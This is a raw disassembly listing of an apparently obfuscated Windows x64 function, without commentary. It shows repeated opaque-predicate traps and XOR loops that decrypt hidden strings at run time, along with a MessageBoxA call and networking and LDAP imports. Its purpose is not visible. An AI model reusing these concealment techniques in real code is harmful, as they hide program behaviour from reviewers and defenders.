mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400213f2
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400213f2
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021412
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d56f0]
movdqu xmmword [rbp + 0xbd8], xmm0
movdqa xmm1, xmmword [0x1400d5640]
movdqu xmmword [rbp + 0xbe8], xmm1
mov dword [rbp + 0xbf8], 0x33f54d33
mov dword [rbp + 0xbfc], 0x426cf6fa
mov dword [rbp + 0xc00], 0x66bb95fa
xor eax, eax
mov byte [rbp + 0xc04], al
mov rdi, r15
movabs r12, 0x1c99559a1
mov qword [rsp + 0x20], r12
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbd8]
lea rcx, [rbp + 0xbd8]
call fcn.14002f574
xor al, dil
mov byte [rbp + rdi + 0xbd8], al
inc rdi
cmp rdi, 0x2c
jb 0x140021465
mov byte [rbp + 0xc04], r15b
lea rdx, [rbp + 0xbd8]
lea rcx, [rbp + 0x1210]
call fcn.140001908
mov rax, qword gs:[0x35]
cmp rax, rsi
movabs r12, 0x1cf36c5eb18189bc
jne 0x140021567
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021547
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021547
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021567
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140021624
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021604
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021604
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021624
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
lea rcx, [rbp + 0xb08]
call fcn.14001fa8c
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140001a18
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x11b0]
call fcn.140030690
lea rcx, [rbp + 0xb08]
call fcn.1400305cc
lea rcx, [rbp + 0xb08]
call fcn.140001f28
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x14002171c
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400216fc
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400216fc
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002171c
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x1400217c6
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400217a6
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400217a6
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400217c6
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov dword [rbp - 0x48], 0x880ca3ab
mov word [rbp - 0x44], 0xebf9
xor eax, eax
mov byte [rbp - 0x42], al
mov rdi, r15
movabs r12, 0x1c99559a1
mov qword [rsp + 0x20], r12
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x48]
lea rcx, [rbp - 0x48]
call fcn.14002f4fc
xor al, dil
mov byte [rbp + rdi - 0x48], al
inc rdi
cmp rdi, 6
jb 0x1400217e5
mov byte [rbp - 0x42], r15b
mov dword [rbp - 0x58], 0x880cb1b2
mov word [rbp - 0x54], 0xebf9
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
movabs r12, 0x1cf36c5eb18189bc
movabs r14, 0x1c99559a1
mov qword [rsp + 0x20], r14
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14002f4fc
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14002183d
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1210]
lea rcx, [rbp + 0xae8]
call fcn.140030900
lea rdx, [rbp + 0x11b0]
mov rcx, rax
call fcn.1400302d8
mov rdx, rax
lea rcx, [rbp + 0xac8]
call fcn.14003042c
lea rcx, [rbp - 0x48]
call fcn.140001a70
mov rcx, rax
call fcn.140001a18
mov r8, rax
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0xac8]
call fcn.140030118
mov rdx, rax
lea rcx, [rbp + 0xaa8]
call fcn.14003042c
lea rdx, [0x1400e2a00]
lea rcx, [rbp + 0xaa8]
call fcn.1400302d8
mov rdx, rax
lea rcx, [rbp + 0x11d0]
call fcn.14003042c
lea rcx, [rbp + 0xaa8]
call fcn.1400305cc
lea rcx, [rbp + 0xaa8]
call fcn.140001f28
lea rcx, [rbp + 0xac8]
call fcn.1400305cc
lea rcx, [rbp + 0xac8]
call fcn.140001f28
lea rcx, [rbp + 0xae8]
call fcn.1400305cc
lea rcx, [rbp + 0xae8]
call fcn.140001f28
mov rax, qword gs:[0x35]
cmp rax, rsi
mov r14d, 0xfec3ba48
mov edi, 0xcbaaefd1
jne 0x140021a03
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400219e3
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400219e3
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021a03
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140021abe
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021a9e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021a9e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021abe
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
lea rcx, [rbp + 0x11b0]
call fcn.14002ff40
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.140096360
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140021b82
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021b62
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021b62
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021b82
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf50]
xor rdx, rax
mov rcx, qword [rbp + 0xf48]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140021c2c
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021c0c
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021c0c
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021c2c
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x11f0]
call fcn.1400019c0
lea rcx, [rbp + 0x11f0]
call fcn.140030668
nop
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140021d04
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021ce4
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021ce4
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021d04
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140021dae
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021d8e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021d8e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021dae
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
lea rcx, [rbp + 0x11d0]
call fcn.14002ff40
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x11f0]
mov rcx, rax
call fcn.14001f5f4
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140021e79
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021e59
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021e59
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021e79
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov dword [rbp + 0x1f0], 0xd2e8beb0
mov dword [rbp + 0x1f4], 0xe26826b0
mov dword [rbp + 0x1f8], 0x47b1f0a3
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs r14, 0x1c99559a1
mov qword [rsp + 0x20], r14
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14002f484
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x140021eac
mov byte [rbp + 0x1fc], r15b
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x11f0]
call fcn.140030c1c
test al, al
mov r14d, 0xfec3ba48
je 0x1400224b3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140021fc5
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021fa5
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021fa5
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021fc5
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5470]
movdqu xmmword [rbp + 0x7c8], xmm0
mov dword [rbp + 0x7d8], 0xd93ab601
mov word [rbp + 0x7dc], 0x198
xor eax, eax
mov byte [rbp + 0x7de], al
mov rdi, r15
movabs r12, 0x1c99559a1
mov qword [rsp + 0x20], r12
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7c8]
lea rcx, [rbp + 0x7c8]
call fcn.14002f398
xor al, dil
mov byte [rbp + rdi + 0x7c8], al
inc rdi
cmp rdi, 0x16
jb 0x140021ffd
mov byte [rbp + 0x7de], r15b
movdqa xmm0, xmmword [0x1400d55f0]
movdqa xmmword [rbp + 0xd70], xmm0
movdqa xmm1, xmmword [0x1400d5440]
movdqa xmmword [rbp + 0xd80], xmm1
movdqa xmm0, xmmword [0x1400d54e0]
movdqa xmmword [rbp + 0xd90], xmm0
movdqa xmm1, xmmword [0x1400d5700]
movdqa xmmword [rbp + 0xda0], xmm1
movdqa xmm0, xmmword [0x1400d5670]
movdqa xmmword [rbp + 0xdb0], xmm0
movdqa xmm1, xmmword [0x1400d55d0]
movdqa xmmword [rbp + 0xdc0], xmm1
movdqa xmm0, xmmword [0x1400d5550]
movdqa xmmword [rbp + 0xdd0], xmm0
movdqa xmm1, xmmword [0x1400d54c0]
movdqa xmmword [rbp + 0xde0], xmm1
mov dword [rbp + 0xdf0], 0xeb9f1a4e
mov word [rbp + 0xdf4], 0x84f4
xor eax, eax
mov byte [rbp + 0xdf6], al
mov rdi, r15
movabs r12, 0x1cf36c5eb18189bc
movabs r14, 0x1c99559a1
mov qword [rsp + 0x20], r14
mov r9d, 0x86
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd70]
lea rcx, [rbp + 0xd70]
call fcn.14002f40c
xor al, dil
mov byte [rbp + rdi + 0xd70], al
inc rdi
cmp rdi, 0x86
jb 0x1400220ea
mov byte [rbp + 0xdf6], r15b
mov r9d, 4
lea r8, [rbp + 0x7c8]
lea rdx, [rbp + 0xd70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rax, qword gs:[0x35]
cmp rax, rsi
mov r14d, 0xfec3ba48
mov r8d, 0xcbaaefd1
jne 0x14002220d
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400221ed
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400221ed
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002220d
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x1400222b7
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140022297
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140022297
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400222b7
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
cmp edi, r13d
je 0x14002f10b
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x14002237b
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002235b
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002235b
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002237b
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf48]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d55c0]
movdqu xmmword [rbp + 0xc38], xmm0
movdqa xmm1, xmmword [0x1400d5570]
movdqu xmmword [rbp + 0xc48], xmm1
movdqa xmm0, xmmword [0x1400d5370]
movdqu xmmword [rbp + 0xc58], xmm0
mov rdi, r15
movabs r12, 0x1c99559a1
mov qword [rsp + 0x20], r12
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc38]
lea rcx, [rbp + 0xc38]
call fcn.14002f324
xor al, dil
mov byte [rbp + rdi + 0xc38], al
inc rdi
cmp rdi, 0x2f
jb 0x1400223b8
mov byte [rbp + 0xc67], r15b
lea rcx, [rbp + 0xc38]
call fcn.14009988c
mov rax, qword gs:[0x35]
cmp rax, rsi
movabs r12, 0x1cf36c5eb18189bc
jne 0x1400224b3
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140022493
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140022493
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400224b3
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x14002255d
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002253d
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002253d
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002255d
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
lea rdx, [rbp + 0x11f0]
lea rcx, [rbp + 0xa88]
call fcn.140030488
mov rdx, rax
lea rcx, [rbp + 0xa68]
call fcn.14001fbd4
mov rdx, rax
lea rcx, [rbp + 0x11f0]
call fcn.140030364
lea rcx, [rbp + 0xa68]
call fcn.1400305cc
lea rcx, [rbp + 0xa68]
call fcn.140001f28
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140022663
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140022643
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140022643
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140022663
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x14002270d
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400226ed
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400226ed
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002270d
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
xor edx, edx
lea rcx, [rbp + 0x1210]
call fcn.14003063c
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x1400227c5
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400227a5
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400227a5
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400227c5
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x14002286f
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002284f
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002284f
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002286f
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rcx, qword [rbp + 0x1200]
call fcn.140099cfc
mov r14, rax
mov qword [rbp - 0x18], rax
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x14002292c
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002290c
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002290c
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002292c
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
mov edi, 0xfec3ba48
cmp rax, rsi
jne 0x1400229db
mov rax, qword gs:[0x2c]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rdi
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rdi
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400229bb
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400229bb
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400229db
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rsi, qword [rbp + 0x1200]
mov rax, qword gs:[0x35]
mov ebx, 0xce3e160c
cmp rax, rbx
jne 0x140022aa6
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
